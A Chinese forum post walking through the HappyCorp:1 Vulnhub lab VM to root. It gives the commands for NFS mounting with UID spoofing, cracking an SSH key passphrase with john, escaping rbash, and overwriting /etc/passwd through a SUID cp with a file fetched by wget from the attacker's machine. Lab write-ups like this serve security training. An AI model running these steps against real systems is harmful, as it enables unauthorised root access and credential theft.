电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 615 人浏览分享

Happycorp:1 Vulnhub 靶机演练

[复制链接]
615 0
简介

难度:普通的初级/中级虚拟机,只有几个转折点。
| + 可能会发现它很容易/很难(取决于你的背景)。
| + ......也取决于你攻击箱子的方式。
| |
| + 它应该能在VMware上工作。

目标:获得root

下载地址:HappyCorp: 1 ~ VulnHub

获取靶机IP地址

netdiscover -r 192.168.81.0/24

QQ截图20220517101957.png

靶机ip:81.157

kali IP:81.137

扫描开放端口服务

nmap -A 192.168.81.157  

从nmap扫描中,我们看到了多个端口开放,如22:ssh、80:http、111:rpcbind、2049:nfs。

其中111和2049为我们不熟悉的服务,搜索一下,原来是共享文件存储,可以通过远程挂载获得文件。

QQ截图20220517103507.png

探测开发的端口80&2049

我们可以通过80端口的网页或者2049的文件共享看看有没有可利用的东西。

80端口

先来看一看网页,经查看,默认页面没有可利用信息,探测下级目录。

gobuster dir -u http://192.168.81.157 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20

3828.png

下级目录中,/admin.php为一个登录页面,但是查看源码后,发现这是一个虚假页面。

3903.png

2049端口

网页信息没有可利用信息,我们去研究一下2049开发的服务,查看nfs共享信息,发现共享目录为/home/karl。

showmount -e 192.168.81.157         //showmount查看nfs服务器共享文件,-e指定ip

119.png

将共享文件挂载到kali本地。

mkdir /tmp/nfs                       //创建文件夹
mount 192.168.81.157:/home/karl /tmp/nfs           //挂载到此文件夹下
cd /tmp/nfs      
ls -al

118.png

有一个.ssh目录,当我们尝试进入时显示权限不够,该文件的属主属组都为1001
我们在kali本机创建组和用户。

groupadd --gid 1001 testg
useradd -m --uid 1001 --group testg -s /bin/bash testu
su - testu  //切换用户

此时可以进去.ssh目录。

QQ截图20220517113717.png

进入user.txt,得到第一个flag。

53.png

其他文件中,id_rsa为私钥,id_rsa.pub为公钥,authorized_keys为认证密钥(搜索rsa了解相关知识)

查看id_rsa.pub和authorized_keys后,我们看到karl,应该为ssh登录的用户名。

49.png

下面我把私钥拷贝到kali下的tmp下,用于验证公钥加密,尝试登录发现需要口令。

48.png

然后我们使用ssh2john将这个SSH私钥转换为可破解的文件,供john使用并进一步
使用rockyou.txt字典进行口令破解。

ssh2john id_rsa >pass.txt //pass.txt 为生成的文件

john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt //破解密码

26.png

得到sheep,尝试登录,但是得到的是rbash(受限shell)。

ssh -i id_rsa karl@192.168.81.157

22.png

尝试直接访问bash shell,加上-t "/bin/sh"。

21.png

成功获得了正常的shell。

权限提升

查找启用了SUID的文件。

find / -perm -u=s -type f 2>/dev/null

20.png

其中cp启用了 suid ,我们可以写一个passwd,拷贝覆盖掉靶机/etc/passwd,来实现提权。

为了不影响原账号,首先查看passwd文件,复制所有内容,写入kali,并且额外写入一个root级别权限用户。

1.复制靶机的passwd,写入到kali的/tmp/passwd

19.png

2.创建根权限级别用户

openssl passwd -1 -salt hack 123456    //成了一个新的加密密码

18.png

写入新账号保存到/tmp/passwd。

16.png

3.替换passwd文件

首先在kali端开启http服务:

12.png

然后在ssh端操作如下:

cd /tmp
wget http://192.168.81.137:8000/passwdcp passwd /etc/passwd
su hack
cd root
cat root.txt

成功获取。

11.png

补充

john用法

sh2john id_rsa >pass.txt(写入该文件)    //将SSH私钥转换为可破解的文件

john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt     //破解

注意每个文件破解后将密码保存至家目录的/.john/john.pot 里,重复破解会显示。

10.png

可以通过john --show +文件名 查看历史破解。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.